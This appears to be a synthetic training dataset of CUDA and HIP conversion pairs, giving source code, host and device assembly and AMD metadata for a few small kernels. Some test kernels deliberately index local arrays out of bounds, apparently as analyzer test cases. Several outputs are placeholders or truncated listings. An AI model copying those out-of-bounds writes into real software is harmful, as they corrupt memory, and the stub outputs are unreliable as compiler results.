.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.section .text._ZL15ZCalcBrightnessPfS_iiii,"axG",@progbits,_ZL15ZCalcBrightnessPfS_iiii,comdat
.Lfunc_end0:
.size _ZL15ZCalcBrightnessPfS_iiii, .Lfunc_end0-_ZL15ZCalcBrightnessPfS_iiii
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: by_value
- .offset: 20
.size: 4
.value_kind: by_value
- .offset: 24
.size: 4
.value_kind: by_value
- .offset: 28
.size: 4
.value_kind: by_value
- .offset: 32
.size: 4
.value_kind: hidden_block_count_x
- .offset: 36
.size: 4
.value_kind: hidden_block_count_y
- .offset: 40
.size: 4
.value_kind: hidden_block_count_z
- .offset: 44
.size: 2
.value_kind: hidden_group_size_x
- .offset: 46
.size: 2
.value_kind: hidden_group_size_y
- .offset: 48
.size: 2
.value_kind: hidden_group_size_z
- .offset: 50
.size: 2
.value_kind: hidden_remainder_x
- .offset: 52
.size: 2
.value_kind: hidden_remainder_y
- .offset: 54
.size: 2
.value_kind: hidden_remainder_z
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 80
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 96
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 288
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _ZL15ZCalcBrightnessPfS_iiii
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _ZL15ZCalcBrightnessPfS_iiii.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 7
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_001011cb_00000000-6_ZCalcBrightness.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.type _ZL15ZCalcBrightnessPfS_iiii, @function
_ZL15ZCalcBrightnessPfS_iiii:
.LFB2052:
.cfi_startproc
endbr64
subq $168, %rsp
.cfi_def_cfa_offset 176
movq %fs:40, %rax
movq %rax, 152(%rsp)
xorl %eax, %eax
movq %rdi, 16(%rsp)
movq %rsi, 24(%rsp)
movl %edx, (%rsp)
movl %ecx, 4(%rsp)
movl %r8d, 8(%rsp)
movl %r9d, 12(%rsp)
leaq 16(%rsp), %rax
movq %rax, 96(%rsp)
leaq 24(%rsp), %rax
movq %rax, 104(%rsp)
movq %rsp, %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
leaq 8(%rsp), %rax
movq %rax, 128(%rsp)
leaq 12(%rsp), %rax
movq %rax, 136(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 152(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $168, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 184
pushq 40(%rsp)
.cfi_def_cfa_offset 192
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _ZL15ZCalcBrightnessPfS_iiii(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 176
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2052:
.size _ZL15ZCalcBrightnessPfS_iiii, .-_ZL15ZCalcBrightnessPfS_iiii
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z15ZCalcBrightnessPfS_iiii"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _ZL15ZCalcBrightnessPfS_iiii(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "ZCalcBrightness.hip"
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | // compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} | code for sm_80 |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | // compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} | .file "tmpxft_0013105a_00000000-6_jitlink.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2030:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2030:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl bar
.type bar, @function
bar:
.LFB2027:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2027:
.size bar, .-bar
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2053:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2053:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | // compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} | #include <hip/hip_runtime.h>
// compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
// compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} | .text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.amdgpu_metadata
---
amdhsa.kernels: []
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
// compile with:
//
// nvcc -gencode arch=compute_20,code=compute_20 -ptx jitlink.cu -o jitlink.ptx
//
//
extern "C"{
__device__
int bar(int* out, int a) {
*out = a * 2;
return 0;
}
} | .text
.file "jitlink.hip"
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80 | .text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.amdgpu_metadata
---
amdhsa.kernels: []
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0013105a_00000000-6_jitlink.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2030:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2030:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl bar
.type bar, @function
bar:
.LFB2027:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2027:
.size bar, .-bar
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2053:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2053:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "jitlink.hip"
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | __global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} | code for sm_80
Function : _Z8test_forv
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z29test_statements_in_while_bodyv
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z16test_large_whilev
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
..........
Function : _Z10test_whilev
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0020*/ BRA 0x20; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0030*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0040*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0050*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0060*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0070*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0080*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0090*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*00f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | __global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} | .file "tmpxft_00087129_00000000-6_test_loops.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z29__device_stub__Z10test_whilevv
.type _Z29__device_stub__Z10test_whilevv, @function
_Z29__device_stub__Z10test_whilevv:
.LFB2051:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z10test_whilev(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z29__device_stub__Z10test_whilevv, .-_Z29__device_stub__Z10test_whilevv
.globl _Z10test_whilev
.type _Z10test_whilev, @function
_Z10test_whilev:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z10test_whilevv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z10test_whilev, .-_Z10test_whilev
.globl _Z35__device_stub__Z16test_large_whilevv
.type _Z35__device_stub__Z16test_large_whilevv, @function
_Z35__device_stub__Z16test_large_whilevv:
.LFB2053:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L15
.L11:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L16
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L15:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z16test_large_whilev(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L11
.L16:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2053:
.size _Z35__device_stub__Z16test_large_whilevv, .-_Z35__device_stub__Z16test_large_whilevv
.globl _Z16test_large_whilev
.type _Z16test_large_whilev, @function
_Z16test_large_whilev:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z16test_large_whilevv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _Z16test_large_whilev, .-_Z16test_large_whilev
